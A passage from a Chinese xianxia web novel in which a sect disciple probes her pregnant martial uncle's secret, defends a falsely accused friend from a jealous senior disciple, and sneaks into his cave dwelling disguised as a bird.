贺流虹隐约间好像瞧见,美人宽大衣袍紧贴上身体那一瞬间,小腹微微隆起一个弧度。 只是那阵风很快平息,对方的身体又被宽大的衣袍遮掩得严严实实。 她仍然出神地盯着他的肚子,震惊地想,小师叔变胖了? 景雍被她充满探究的视线看得窘迫而紧张,不动声色地背过身去,装作和金月说话:“下回不可再如此鲁莽。” 金月扑腾了一下翅膀,从鸟架子上飞到贺流虹肩膀,叽叽喳喳地叫了一会儿。 贺流虹反正是一句都听不懂,拍拍它的小脑瓜,“好了好了我知道你很想念我,我也想你,你看我这不是回来找你了。” 金月又叫了起来,声音听着很是着急。 贺流虹自顾自继续往下说:“啊?我骗你什么了,我绝对没骗你,我心里只有你一个,天底下没有能比得上你的鸟。” 她仿佛听见了金月的叹气声,眼看着它失望地飞走了。 “你觉得它是不是有什么重要的秘密想告诉我?” 她摸着下巴,凑到景雍跟前,认真询问。 景雍将衣袖挡在身前,轻轻摇头,“我也不知。” 她叹气:“我对它说的那些甜言蜜语它难道不喜欢吗,一般我是不轻易说的。” 景雍问她:“真的吗?” 她正在低着头研究对方挡在身前的衣袖,不知不觉又浮现出风吹过衣袍时那一幕,心思早已飘远,闻言,愣了一下,反问道:“什么真的假的?” 景雍只想求她别再盯着那里看,含糊回道:“没什么。”心慌意乱地转过身欲走。 贺流虹一把攥住他手腕,将他拉回来,注视着他的眼睛问:“小师叔,从我回来你就躲着我,为什么,你不想听听我在外面都有哪些经历吗?” 景雍试着抽回手,却感到她抓得更紧,支支吾吾道:“你、你说,我当然想听。” 贺流虹走上前去,几乎和他鼻尖相抵,低声道:“你知道吗,小师叔,我遇见了一个很像你的人,他的神态,语气,言行举止总是有你的影子。” 景雍眼尾的那颗泪痣的颜色似乎更鲜艳了,脸颊染着薄红,眼神闪烁,“竟还有此事,不过……不过听说风月宗也常有与我相像之人出现,大概是巧合吧。” 贺流虹一副恍然大悟的样子:“原来如此,我还以为是你假扮的。” 景雍挤出一点笑容,“怎么会,掌门可以作证,我一直待在神月峰,未曾踏出半步。” 贺流虹收紧五指,将那截莹白手腕握得更用力。 耳边传来美人吃痛倒吸一口凉气的声音,她回过神来,松开手,退后半步,道:“抱歉,我与小师叔久别重逢,一时激动下手没轻没重,是不是弄疼你了?” 景雍早已放下衣袖,躲到远处,欲言又止地望向她,定定开口:“宗门大比在即,机会难得,你还是尽心准备吧,别辜负了掌门师兄的期许。” 贺流虹问不出什么,小师叔在有意避开与她见面,而且看他那副笃定的神态,似乎连掌门都在帮他掩藏之前他私自离开天玄宗的行为。 所以必然是在离开天玄宗的那段时间发生了些什么,不好向他人言说,只能装作什么都没发生。 她下意识又瞥了他的肚子一眼,告辞离开。 她想,即便彤云和小师叔就是一个人也没太大妨碍,她并没有让彤云知道关键的秘密,更何况她如今清清白白。 风月宗宗主的恐吓之词就算是真的,可是如今乾坤珠并不在她身上,出了事算不到她头上。 出来时她又见到了来往洞府之间的医修,但不是医仙谷的老熟人,贺流虹只好拦住一人旁敲侧击地问了些问题,得到的都是模棱两可的回答。 她只能放下对小师叔的关心。 刚离开神月峰,她又在山脚下遇上另一个熟人,她在外门的邻居 宋清宁。 宋清宁在神月峰下流连了好一会儿,终于等到她下来,笑着迎上去,上上下下查看她,用力拍了下她肩膀,感慨道:“你真是福大命大,在外面转了一圈,不仅没受伤,连修为都突飞猛进了。” 贺流虹礼尚往来,将她也打量一遍,也拍了拍她肩膀:“你看起来精神也不错嘛,最近都遇上什么喜事了?” “喜事倒也没有,就是有个麻烦事,除了你我想不到别人能帮我。” 宋清宁不好意思地笑笑,那张清秀端丽的脸上还留有一道之前未痊愈的伤疤。 贺流虹道:“咱们是什么关系,我刚来天玄宗什么都不懂,也没什么人爱搭理我,全靠你接济指点,才没有饿死呢。” 宋清宁笑道:“那不一样,是顺手而已,你一个小孩能吃多少。我这次求你帮的可是大忙。” 她凑近她耳旁,道:“我想参加外门遴选,拜入内门。但是遴选除了比试,还需要一位内门弟子做接引人,我只能靠你啦。” 贺流虹又拍拍她肩膀:“说实话,你要是让我为你拼命,我会假装考虑一下然后拒绝,但接引人这还不简单,放心吧包在我身上,当天我会到场的。” 说话间她瞥见宋清宁肩膀上的衣服补丁,摇头叹气:“清宁师姐你说你也真是的,悬赏妖丹赚了也有不少了怎么还这么抠搜,你赚的灵石都花哪儿了?” 宋清宁的脸上浮现出一丝忧愁,“别提了,家家有本难念的经,我现在只想成功拜入内门,每月多领一瓶回春丹。” 贺流虹隐约听她提起过家中宗族亲戚的烦心事,见她不愿多说,就没再追问。 两人刚分开,宋清宁忽然喊住她:“你还记得你的屋子被翻过的事吗?” 贺流虹点点头,“怎么,你发现什么了?” 宋清宁深吸一口气,道:“其实……” “其实什么?” 贺流虹被勾起了好奇心,虽然那件事没造成什么严重后果,但始终是个疑案。 宋清宁皱起了眉,艰难开口:“其实……我是想提醒你,搬去妙音峰千万要记得做好防盗。” 贺流虹怔了一下,啼笑皆非,道:“好吧,多谢清宁师姐,我会注意的。” 这次两人真的就此分开,各回各家。 掌门得知她去了神月峰,又将她喊过去,一反常态地劝告她,没事别老往神月峰跑。 他明面上让贺流虹专心修炼,为龙吟秘境做准备,但贺流虹还是觉得哪里不对。 她神色复杂地问:“掌门,你……” “什么掌门,喊师父。” “师父,你说句实话,小师叔是不是又出事了?” 而且很可能是没救的那种。天玄宗短时间内举行外门遴选、宗门大比,开启龙吟秘境,求贤若渴的心情都写在脸上,恨不得立刻出个有飞升之姿的天纵之才。如果小师叔还有救,何必这么急急忙忙。 景离言辞闪烁,吞吞吐吐,俊脸微红:“你师叔一直待在神月峰,能出什么事!他只是想给你一点个人空间,你就不能体谅体谅他,别逼迫他了吗!” 贺流虹:“啊?我、我逼迫他什么了?难道他这回出的事是我造成的?” 景离自知失言,急忙否认她的猜想:“跟你一个小孩子家有什么关系!你是没逼迫他,你现在逼迫的人是我!” 贺流虹悻悻道:“不敢不敢,不敢逼迫师尊。徒儿这就告辞。” 她忍不住多瞥了几眼掌门浮上红晕的脸颊,心中大感惊奇。 所以小师叔的身上到底发生了什么事,才能让自小照看他长大的掌门师兄也跟着窘迫脸红? 她实在无法想象。 她没想到的是,她刚走不久,掌门就暗中前往神月峰,找自己看着长大的师弟大吐苦水。 神月峰再次处于戒严状态,和上次不同,这回连贺流虹也被拒之门外。 再加上由于医仙谷那群师徒和贺流虹混得太熟,景雍不相信她们会保守秘密,所以这回也没有医仙谷的人,都是自家宗门信得过的医修。 和掌门面对面,景雍红着脸,像做错事的孩子:“师兄,我也不知道为何会这样,我、我也不想……” 掌门仍然不能接受他所看到的事实,一个男人,怎么会珠胎暗结怀上身孕? 他光是想象一下怀上孩子的人是他自己,就忍不住老脸一红,感受受到了某种巨大的刺激。 他用力晃了晃脑袋,将那副离谱的画面从脑海中甩出去,清了清嗓子,用公事公办的语气道:“即便是修行之人,怀胎亦是不易,胎儿需以灵力血肉滋养,即便境界不跌落,也有将近一年时间无法专注修炼。” 景雍垂眸,盯着自己的脚尖,低声道:“我知道。” 他的腹部隆起的还不明显,只有不到三个月,而距离上一次和她肌肤相亲已经过去大半年,他也不知道这是怎么一回事。孩子只能是她的,但是时间很有些对不上。 掌门说道:“既然你知道,那为何还迟迟不肯下定决定,将胎儿拿掉。落胎的时间宜早不宜迟,你再拖下去,只会更损伤修为。” 景雍攥着自己的衣角,面露难色:“让我再好好想想,行吗,师兄。” 掌门重重地叹了一口气,上前一步。 他惊吓地护住肚子,连连后退。 掌门微怔,在他面前的椅子上坐下,巍然不动,语气不自觉有些发冷:“你现在就开始想,好好想,我就坐在这儿等你的答案。” 屋子里静悄悄的,景雍面色苍白,不时抬手放在腹部感受一番,感觉自己就像一个怪物,见不得人的怪物。 一开始,他的确在纠结,到底要不要按照掌门师兄的意思,将这不该出现的胎儿除掉,重新做回人人敬仰的琼华真人。 渐渐的,他就开始走神。 他忍不住想,如果怀上孩子的人不是他,而是“彤云”,她会不会更容易接受,而不是将他看作怪物。 他小声问掌门:“师兄,能不能请太上长老们为我解惑,我与她……隔了六个月才显出身孕,她会不会怀疑……怀疑这个孩子是我与旁人亲近后才有的……” 掌门闭了闭眼睛,深吸了一口气,有些悲伤地说道:“如此看来,在天玄宗和这个孩子之间,你是铁了心要选择后者了?” 景雍低下头,用沉默代替答案。 掌门又唉声叹气一阵,拂袖而去。 第52章 第52章怎么会不喜欢呢 贺流虹在妙音峰给自己建了个洞府,听隔壁大师姐说所有花费都能报销,她就一点也不客气了,有什么建筑类的法宝都往上加,最后变成了一个混搭四不像。 果然不是谁都能搞建筑设计的,完工的时候,隔壁大师姐实在看不下去,觉都睡不下去了,跑过来帮她重新设计了草图。 贺流虹老老实实按师姐的建议拆了重建,看上去总算正常多了,院子里还被大师姐灵机一动弄出来一个睡觉的小亭子,加了避风挡雨的法阵,以免睡着之后不小心被风吹雨打。 之后她就待在这个古色古香美轮美轮的洞府里专心修炼,期间有很多人试图联系她,大多都是之前在外门认识的人。 他们联系她的目的也很明确,和宋清宁一样,想在外门遴选之前找个接引人。 接引人的规矩让外门和内门之间的关系维持得相当“亲厚”,有人高瞻远瞩的外门弟子会在拜入天玄宗第一天就开始替内门师姐师兄们鞍前马后。 贺流虹是最近刚离开外门的,在很多外门弟子眼里是最“平易近人”的一位,眼下 相当受欢迎。 她觉得这规则很离谱,想升入内门居然还要看人脉。 为了避免打扰,她放出消息,只要能通过实力考验,她可以当任何人的接引人。反正接引人只是负责给通过考验的弟子发张腰牌而已,又不是什么麻烦事。 当然,她这一举动让很多内门弟子不太高兴,她无条件给外门当接引人,让其他内门弟子的身边少了很多狗腿子。 掌门听闻消息,又喊她过去谈心了:“你这样得罪同门,有没有想过将来如何在天玄宗自处。” 贺流虹无奈道:“不是得罪这边,就是得罪那边,总要得罪一边的。” 掌门道:“你可知内门天赋异禀者众多,他们才是真正值得结交的同门。” 贺流虹做出惆怅模样:“我也是没办法,我出自外门,总不能让别人以为我忘本。” 掌门叹了口气,“你以前不用面对这些复杂的人心,确实难为你了。为师怕你平白惹上麻烦。” 贺流虹反过来安慰他:“师父,你不是让我专心修炼尽快提升修为吗,所以就算我惹上麻烦,你也会替我解决的对吧。” 掌门瞪了她一眼,骂骂咧咧:“一个两个,没一个是省心的,回去修炼吧,这里没你事了。” 贺流虹赖着不走,凑近去问:“师父,你看上去憔悴很多,皮肤都没之前光滑了,是不是小师叔又遇上什么麻烦了?” 提到小师叔,掌门脸色更为糟糕。 天玄宗悉心培养了这么久的天纵之才,命运多舛,不知怎么会如同妇人般珠胎暗结,不思修炼和飞升,执意要给人生孩子。 如果孩子的母亲不是贺流虹,他早就把这个糟蹋他师弟的人挫骨扬灰了。 但是转念一想,幸好孩子是贺流虹的,太上长老们重新测过贺流虹的根骨,认为她如今的天分不在琼华之下,这样的修炼速度甚至比曾经的琼华更加具有飞升的潜力,而且她一再偶遇机缘,实在很像真正天命加身之人。 天玄宗不能在有意外了,所以更要牢牢抓住这个新的希望。琼华肚子里的孩子便是贺流虹必须留在天玄宗、为天玄宗效命的重要牵挂。 他在想应该什么时候告诉贺流虹真相。只有让她知道真相,知道她和琼华腹中胎儿的关系,这个孩子才是真正有价值的。 他缓和了一下神色,状似随意地问:“你觉得你小师叔如何?” 他的神情看上去有点古怪,贺流虹一板一眼地回答道:“我觉得小师叔很好啊,长得好看,天分又高,是修真界人人仰慕的对象。” 掌门并不满足于这样的回答,追问道:“那你呢,你对他就没有什么个人想法?” “个人想法?” 贺流虹费解地看掌门一眼,拿不准他此刻的心思。 掌门清了清嗓子,“比如,你和你小师叔有过那么多次亲密接触了,如果不是迷情散,那该是道侣之间才会做的事……你、你对他……有没有动过异样的心思?” 贺流虹如临大敌,天玄宗忽然不让她和小师叔神交,连面都不让见,难道是误会她对小师叔有了不该有的心思? 她连忙摇头,连声否认:“不不不怎么可能,我怎么会对小师叔生出那种龌龊的心思,我的心中只有师门,对小师叔本人绝无半点亵渎之心!” 掌门眼中闪过一丝失望,喃喃道:“所以你不喜欢琼华?” 贺流虹用力点头,“对!” 掌门不肯相信,又确认一遍:“真的一点也不喜欢?” 贺流虹:“一点也不!” 她很快被掌门挥退了,临走前还听到对方还嘟哝着什么,细听起来像是“怎么会不喜欢呢,怎么会呢,这就有点难办了……” 好诡异的场景,她加快脚步跑远了。 掌门愁虚满怀,他以为凭借琼华的容貌怎么也能让人有所心动,拿下一个心性率真的孩子轻而易举,却没想到那个孩子的心硬得像石头。 她连琼华本人都不喜欢,会喜欢琼华肚子里的孩子吗? 还是先不要急着告诉她真相了,免得出现反效果。 贺流虹一回到妙音峰就去隔壁找师姐。 师姐毫无疑问又在睡觉,听到她的脚步声,艰难地掀了下眼皮,然后又立刻闭上了。 贺流虹实在没处分享她的心事,坐在师姐的床边小声问:“师父最近压力是不是太大了,我感觉他有点不太正常。” 师姐咕哝了一声:“年纪大了是这样的,你别管他。” 贺流虹“哎”了一声,孤寂的心情无处排解,她离开妙音峰,去找赵炎炎。 炼器堂的门口十分冷清,竟然没看到赵炎炎在摆摊招揽生意。 她找了个人打听消息:“今天怎么没见到赵炎炎赵师姐?” 那人认得她是赵炎炎的老熟人,道:“是你啊,好久没看你来了,赵师姐最近不走运,前两天不知道被哪个不要脸的给偷袭了,受了很重的伤,在闭关休养呢。” 贺流虹只能返回妙音峰。 刚回去就收到医仙谷的一封信。 信是老谷主写的,说宁逢前几天出谷玩,不幸遭邪修偷袭,受了重伤,需要一味收藏在天玄宗藏宝阁的灵药,希望她能帮忙留意。 贺流虹看完了,心头笼罩了一层淡淡的阴霾,她一共就认识这几天朋友,几天之内一起遭遇意外,真是奇了怪了。 她去了趟藏宝阁,说明想要的那一味药,本想花灵石购买,守在藏宝阁的长老表示这药并不值钱,由她直接拿走便是,又托她向掌门问好。 她还是第一次知道藏宝阁里的东西还有不值钱的,不知是掌门亲传的身份太好用,还是她运气好。 她把药寄过去,怕下一个出意外的就是她自己,提心吊胆地在洞府躲了一阵,一切风平浪静。 外门遴选的日子很快就到了,贺流虹受人所托,早早赶去现场看热闹。 比起之后很快到来的宗门大比,这场外门遴选显得冷清,只有零星几个内门的人过来观看,就算答应了要做接引人,也只会在最后匆匆露一面。 贺流虹的身影在人群中格外突兀,她是唯一一个拥有亲传弟子身份的观众。 有人小声嘀咕:“她不去修炼,坐这儿干什么,龙吟秘境她不想进?” “不是说龙吟秘境是专门为她提前开启的吗,她就算什么都不做,也能拿到进入的资格吧。” “她真的有那么厉害吗,比周无疾周师兄的天分还高?周师兄可是琼华真人的徒弟。” “周师兄可是如假包换的金丹,谁知道她的金丹是怎么来的呢,可别到时候漏了怯。” 贺流虹一路走来听到很多有关她的谣言,规模大不像是自发形成的,像是被人买了水军。 最近得罪了不少内门的人,她本来还不太确定到底是谁在背后搞事,但这些人一边说她的修为来路不正,一边难掩对周无疾的敬仰爱慕,就很好猜了。 比试很快开始,逐一考验丹药符篆等技能,最后是擂台比拼。 贺流虹看到宋清宁一路过关,成了外门第一,心中感到颇为意外,一段时日没见,对方的修为提高了不止一点。 宋清宁的表现让在场众人议论纷纷,甚至惊动了几位长老特地赶来观看,有意想收为关门弟子。 一场外门遴选结束,所有的光芒都聚集在宋清宁身上,贺流虹把内门弟子的令牌系到她腰上,笑道:“难怪那么早就来找我,原来是成竹在胸。” 宋清宁咧嘴笑容灿烂,“那总不能让你白跑一趟嘛,怎么样,没给你丢脸吧。” 比试刚结束,人群还没散场,众人一瞧两人勾肩搭背十分熟稔的样子,不禁怀疑贺流虹有大气运在身,连带着身边的朋友和邻居都飞黄腾达了。 宋清宁刚答应成为那位长老的关门弟子,人群后面传来一道高亢而略显兴奋的嗓音:“贺流虹,你可不要徇私枉法,什么妖魔鬼怪都往内门接引啊!” 人群让开一条通道,周无疾带着几个小喽啰耀武扬威走上前来,上下打量宋清宁一眼,又留给贺流虹一个意味深长的笑容。 他朝长老拜了一拜,掷地有声道:“请长老明鉴,经过弟子的多日追查,发现外门弟子宋清宁与妖族勾结的证据。” 他拿出两张未燃尽的传音符,呈到长老手中,符篆上虽已看不见任何信息,但残留着妖族气息,并且来自妖族的地盘。 长老皱起眉头。 周无疾越发得意,又道:“此人之所以出尽风头,完全是因为勾结妖族,修 习妖法,用了歪门邪道,请长老允许我为师门除害!” 宋清宁脸色惨白,踌躇着往后退。 周无疾一剑划出沟壑,将她退路拦住,紧接着便动了手。 宋清宁不是金丹期的对手,再加上对方使用大量名贵法宝助力,将宋清宁完全压制,逐渐失去所有防备血洒当场。 “不是的,”宋清宁摇头否认,“我没有修习妖法,那是我从秘境中偶然得到的心法,前辈是三万年前留下的一缕神魂,将这自创心法赠送与我,前辈是人族,怎么会自创一本妖族的心法。” “还敢狡辩,你体内的灵力运转之法和妖族如出一辙。” 一旁的长老将宋清宁探查一遍,眉头皱得更深,遗憾摇头:“的确并非仙门修炼之法。” 宋清宁难以置信地跌倒下去:“我不是,我没有,我没有修习妖法!” 周无疾笑道:“只否认修习妖法,这么说,勾结妖族一事确凿无疑了。” 他举起长剑,剑光亮起,照得表情越发狰狞,扭头看向贺流虹:“这便杀了你这个仙门叛徒,看你还能得意到几时。” 他的眼睛看着贺流虹,剑朝跌倒在地面上的女修斩去。 贺流虹遍体生寒。 她想到自己的秘密也许已经被周无疾发现了,心中也生出了杀意。 张望一圈,在场大多是外门弟子,除了一位长老在元婴期,其余都在她之下,或是和她一样的金丹。 周无疾只当她被吓住,一剑刺穿了宋清宁的肩胛骨。 他当然不会给这个外门的卑贱女修一个痛快,她们不是关系很亲近吗,他要通过慢慢折磨这个外门女修来让贺流虹痛苦,恐惧。 以女修为中心,地面绽开的血花越发鲜艳灿烂。 贺流虹神色阴沉:“周无疾,这里还轮不到你来逞威风,你将执法堂和诸位长老置于何地。” 她看了那位元婴期长老一眼,心往下沉。长老的脸是木然的,虽然偶尔闪过犹疑,但涉及妖族,好像所有人都变得“谨慎”起来,宁可错杀,不可放过。 周无疾反问她:“事到如今你还在袒护这个邪修,莫非……你如今的修为也来得不清不白?” 贺流虹紧盯着他的脸,只要他显露出一丝异样,她便会动手。 然而周无疾似乎只是逞一时口快,并没有更多的证据。 这一事实让他恼怒不堪,手中的剑再次向宋清宁挥去。 剑尖在刚要触及女修衣角时应声而断,碎裂成两截。 他愣住,反应过来后目眦尽裂地看向身旁之人:“贺流虹,你要当众维护一个仙门叛徒吗!” 交手时他才真切意识到,同为金丹,贺流虹周身散发出的灵压有多可怕,这样的金丹修为绝无半点弄虚作假的成分,甚至让他恍惚以为自己面对的是一名化神期之上的大修。 他神色僵硬,清楚感受到自己被全面压制住了。他被一个出身外门、只修炼了三年的小弟子压制了。 贺流虹慢慢抬起剑,贴上他的脖颈:“周师兄如此嗜血残酷,虐杀同门,兴许是走火入魔步入邪道,不如我今日也来替宗门除害。” 周无疾看见了她眼底汹涌翻滚的杀意,表情微微扭曲,忽然又笑了,低声道:“你敢杀我吗。杀了我,连你自己今日也难逃一劫。” 贺流虹将剑刃抵进半分,嵌入他的皮肉之中,溢出大颗血珠。 周无疾森然而笑:“继续啊,怎么不敢了,要么现在众目睽睽之下杀我,要么就好好等着,别急,下一个就轮到你了。” 他像是刚想起来似的,连忙又道:“对了,还满意我送你的礼物吧,你那些朋友还好吗?没死吧?” 贺流虹此刻只觉得多看他一眼就心生烦躁,冷声道:“你现在就去死……” 她的话还没说完,掌门就忽然出现在她身后,猛地将她拉开,骂道:“胡闹!” 贺流虹扭头一看,小师叔也一起来了,不过没有靠近她,而是走向周无疾,灵力化作无形大网将他捆了起来,使他跪倒在地,不悦道:“这里是天玄宗,不是任由你撒野的周家。” 周无疾跪在地上,抬头朝他望了一眼,目光掠过他过分宽松的衣袍,眼中闪过奇异的光,嘴角勾起一抹诡异笑容,隐隐带着嘲讽,幽幽开口:“师尊教训的是。” 掌门将贺流虹拉开,看向在场众人,道:“都散了,周无疾揭发之事会由执法堂和长老细查,如若冤枉无辜,定会对揭发之人重重处罚。” 掌门这么说倒不是因为宋清宁是贺流虹袒护的好友,妖族作乱已久,也不是没有同门相互构陷的冤案发生。 另外,正如景雍所说,天玄宗有天玄宗的规矩,周无疾的世家大族家的少爷,可又不是天玄宗的少爷。 除非他能两百年内飞升上界反哺师门,为天玄宗续命。 在这个节骨眼上,岂能因为一点私人恩怨坏了天玄宗的数万年基业。 于是一场闹剧就这么散了,宋清宁和周无疾都被执法堂带走,下面的人看出掌门和琼华真人的意思,自然不会再向往日一般一味偏袒琼华真人的“唯一亲传”。 贺流虹回到妙音峰沉默了很久,掌门相当头疼。 前几天他还想幻想贺流虹因为喜爱琼华喜爱琼华肚子里的孩子而对天玄宗倍加忠诚,此时却要担心那个叫宋清宁的外门弟子会使她和天玄宗心生嫌隙。 天玄宗想续命,可就指着门下有人能飞升了,好不容易在琼华之后有了青出于蓝的新人,琼华已是千年一遇,要是将人气走了,他可没信心还能这么好运。 他语重心长地劝:“我知道周无疾对你心有不忿,他对宋清宁下手,其实也是为了针对你。” 见贺流虹仍然神色冷淡,他做出愤慨的模样:“周无疾这小子,如此心胸狭隘品行卑劣,我当年真是错看他了。你放心,他要是诬陷同门,我决不轻饶。” 贺流虹看着掌门半真半假的表演,说:“如果清宁师姐真的勾结妖族,修习妖法,会怎么样?” 这是掌门最不愿面对的问题,天玄宗不会放过勾结妖族的叛徒,但也不能让肩负拯救天玄宗希望之人伤心。 贺流虹有心想要试探这个将宗门命运摆在首位的人的底线,“师父,我一心忠于天玄宗,将来若是能够飞升,定然不会忘了师门,就不能包庇一回吗?” 掌门搓了搓手,背过身去,幽幽开口:“你也先别急,周无疾的证据未必就是真的,你说对吧?” 贺流虹点了点头,“师父说的也是。” “所以往后你切勿像今日那般鲁莽行事,他当众虐打同门,你当众杀他,你与他又有何异?” 掌门倒了杯茶,慢慢啜饮起来,“你这样容易落人话柄,到时候即便说证据是假的,也不足以服众。” 两天后执法堂诸位长□□同表示,周无疾所提供的那些证据都是假的,宋清宁被放了出来。 贺流虹将她带到自己的洞府,让她待在这儿养伤。 宋清宁有些茫然,不明白自己为什么这么快就无罪释放了,始终不肯接受她的照看,并直言表示自己这身伤是“罪有应得”。 “我也不知道执法堂为什么会说那些证据是假的,但我……我确实勾结了妖族,” 她清瘦的肩膀瑟缩起来,愧疚地看了贺流虹一眼,“那名妖族用一大笔灵石买通我,让我去翻你的屋子,让我帮他找一件东西。” 贺流虹道:“如果我猜得没错,那人还是一身黑袍,藏头露尾,声音嘶哑,对吧?” 宋清宁诧异地看向她,“你……你早就知道了?” 贺流虹无所谓道:“你那天忽然提起那事,我就忽然想明白了。” “你、你怪我吗?我表面和你好,背地里为了灵石出卖你……”宋清宁的脸上满是懊悔,“我不该贪图钱财,可是我没有办法,我必须拿到那笔钱。” 贺流虹想了想,还是没把黑袍人的真实身份说出来,拍了下她的肩膀,叹气道:“拜托了,那可是灵石啊,如果我是你,我也未必能忍住诱惑,只是翻一翻屋子找点东西,又不是杀人,就能赚到一大笔灵石,比接悬赏划算多了。” 宋清宁憋了很久,还是忍不住哭了起来:“如果不是因为我太没用,只能赚很少很少的灵石,连把姐姐从宋家接出来都做不到,我是死都不会赚这种钱的。” 贺流虹从刚认识她就知道她比自己还穷,开玩笑道:“那你要是实在内疚,就把那笔灵石分我一半好了,下回要是再有这种类似的任务,你统统接下,咱们有钱一起赚。” 宋清宁苦笑一声:“你真是一个很奇怪的人。”又红着脸说道:“那些灵石我确实没好意思用,都攒起来了,等我拿给你。” 她从手上取下一只储物戒,从里面拿出一大袋灵石,接着又拿出一枚玉简,有些不安地说道:“这就是那位前辈交给我的心法,前辈说他是三万年前的人族散修,它难道真的是妖法吗?” 贺流虹盯着玉简,上面用极难辨认的上古字体写着修炼口诀。 “要不,拿去找人帮忙看看?” 从宋清宁“无罪释放”的结果来看,天玄宗也并不是完全和妖族水火不容,只要牵扯到更大的利益,不介意睁一只眼闭一只眼。 那么如今对妖族赶尽杀绝,不惜高价悬赏妖丹,又是出于何种利益呢。 宋清宁半信半疑,问:“掌门真的相信我是清白的吗?执法堂根本就没有真的要审问我,让我在那里待了两天就把我放了,这一切到底是为什么?” 贺流虹望着天,“可能是周无疾太讨人嫌了,连掌门都看不下去了吧。” 宋清宁把记载心法的玉简递给她,道:“这我就不练了,我虽急于提升实力保护姐姐,但要是走上了歪路,反倒更让姐姐伤心了。” 贺流虹因为自身秘密,但凡和妖族有关的事情都非常有兴趣探究到底,既然这是人族修士自创的妖法,那她更要好好钻研一下。 她让宋清宁好好养伤,拿着心法直奔小师叔的神月峰。 论及对各种失传已久的心法的了解,小师叔那满满一阁楼的上古残卷就是证明,这是三万年前的心法,想必小师叔能略懂一二。 苦恼的是,神月峰如今坚决将她拒之门外。 这似乎还是小师叔本人的意思。 她在想要不要去找掌门从中周旋,又想起掌门上回神情怪异地问她喜不喜欢小师叔,头皮有些发麻。 可不能担上对自家师叔心怀不轨的罪名,那简直比勾结妖族更遭人唾弃了。 那要怎么才能悄悄溜进神月峰呢,贺流虹提前唾弃了一下自己,然后拿出之前剩下一大堆的幻形符,将自己变成了一只鸟。 经过不断调整,她信心十足地飞去了小师叔的洞府外面,发出响亮的啼叫声。 她和金月也算是很熟了,见过它殴打无数小鸟的样子,也见过它死皮赖脸追求小鸟的样子。 金月最恨的同类长什么样,她了然于心。 绕着洞府外面飞了不到片刻,那层结界里面就疾速冲出一只毛色金光闪闪的神凤,大喊大叫地直奔她来了。 她正要扑扇翅膀躲避对方的攻击,却见对方张开华丽的大翅膀,在她面前跳起了舞,还想拿嘴来亲她的羽毛。 她不禁有些怀疑对方的品位,她明明是照着这只神凤最讨厌的样子变的,居然这样也能把它迷住。 趁还没被一只凤凰骚扰到,她迅速变成一只跳蚤,钻进了对方的羽毛深处。 金月很迷茫地找了一圈,它第两千零八次心动的小鸟凭空消失了,难过地叫了两声,耷拉着脑袋回到洞府。 贺流虹一进洞府就恢复原貌,坐在它背上欣慰地摸摸它的脑袋:“多谢多谢。” 第53章 第53章真正的妖物 贺流虹在门边探头探脑,“小师叔,你在吗?” 她心里很清楚,能这么轻易溜进来是因为小师叔的默许。 小师叔没将她拦下,说明不想和她撕破脸皮,事情也许没她想的那么严重。 门始终没向她打开,屋子里传来熟悉的清润嗓音,不急不缓地问:“找我何事?” 贺流虹一本正经朝那扇门鞠了一躬,道:“回禀小师叔,弟子有一事相求。” 屋子里安静了很久,过了会儿,才重新传出回应:“你说说看吧。” 贺流虹将宋清宁的那份心法拿出来:“清宁师姐从秘境中得到的心法似乎有些问题,险些蒙受冤屈,小师叔见多识广,我想摆脱小师叔帮清宁师姐看看这份心法到底是怎么回事。” 屋子的门打开一道缝隙,她模模糊糊看到小师叔的身影像往常一样坐在窗边,不知是不是错觉,似乎比往日臃肿一些。 景雍察觉到她探究的视线,赶忙说道:“你可以将心法抄录一份留在此处,等我有了结果自会告知与你。” 贺流虹点了点头,说了声好,又感叹小师叔人美又体贴,怕她担心心法被私吞,特意嘱托她抄录一份。 但她纵观整个天玄宗乃至整个修真界,再没有比小师叔更单纯天真的人了,大概只有“彤云”道友能与之相媲美。 “我相信小师叔没坏心,这心法就不抄录了,直接留在这里吧。” 她将玉简从门缝里递进去,一阵温和的灵力将玉简卷走,随之那扇门迅速从里面关得严丝合缝。 美人无情地将她拒之门外,好像曾经在床榻之间的缠绵是一场梦。 在美人这里的待遇一落千丈,贺流虹感到些许遗憾,转身往外走。 景雍又忍不住喊住她:“你……你那位朋友的伤势如何了?” 贺流虹道:“你是说清宁师姐啊,她还行,至少没有性命危险,但还要再养一养,周无疾伤到了她的根骨,她暂时是不能再修炼了。” 景雍的声音有些歉疚:“周无疾是我的徒弟,是我管教不当,才让你的朋友遭此磨难。” 门又打开了一道缝隙,飞出来一瓶药。 “这是上品凝元丹,能让她的伤势痊愈得更快。” 贺流虹接住丹药,道:“多谢小师叔。” 门又关上了,挡住屋里的景象。 贺流虹想了想,问道:“小师叔,周无疾是你唯一的徒弟,与你相伴多年,要是他出了事,你会伤心吗?” 景雍听出了她的言外之意,不禁有些担心:“你还是想杀他?” 贺流虹说道:“他一再为难我,如果只是针对我一人也就算了,但他不该想方设法对我的朋友下手,就算不为我自己,我也必须和他做一个了断。” 她说得义正辞严,但真实情况却是即便不为了宋清宁她们,她也要杀他。周无疾盯着她不放,多留在世上一天,就多一个隐患。还是趁早死了好。 她又说道:“小师叔如果不舍得他出事,过后我会专门来向你道歉。” 景雍听着她坚定的语气,不禁有些恍然,一瞬间好像又回到他们还在天玄宗外相处的时光,面对“彤云”时,她便是如同这般毫不掩饰自己的冷酷和决绝。 他犹豫地劝道:“我只是怕你并非他的对手,再说,残害同门是重罪,恐怕要被废去修为逐出师门。” 贺流虹笑道:“只要小师叔不会因此难过,我就放心多了。至于逐出师门,我是天玄宗弟子,自然会按天玄宗的规矩来。” 景雍还想再说点什么,但门外的人已经很快走远。 他亲眼见过贺流虹出手,知道贺流虹有不同寻常之处,但他还是担心。 他与周无疾虽是师徒,但除修炼之事以外并无多余交流,上回见过贺流虹,他就将周无疾喊来,告诫了一番,但是没有起到任何效果。他才知道掌门师兄为他千挑万选了一个极其傲慢偏执的徒弟。 如果他能更了解周无疾,如今应该会有更好的办法解决此事。 贺流虹回到妙音峰,掌门站在她的院门外,似笑非笑地看着她,问:“去哪儿了?” 她立刻戒备起来,道:“没、没去哪,随便出去散一散心。” 掌门充满深意地笑了一声:“散心?挺好挺好, 是该多散散心。” 年轻人就是别扭,嘴上说不喜欢,实际上分开没多久,就忍不住偷偷溜进神月峰“散心”了。 他感到前途大好,真想立刻劝说师弟别再把人拒之门外了,面对面坐下来好好交流感情难道不好吗。 贺流虹被他那怪模怪样的笑容弄得有些头皮发麻,“要是没什么事,我就先去修炼了。” 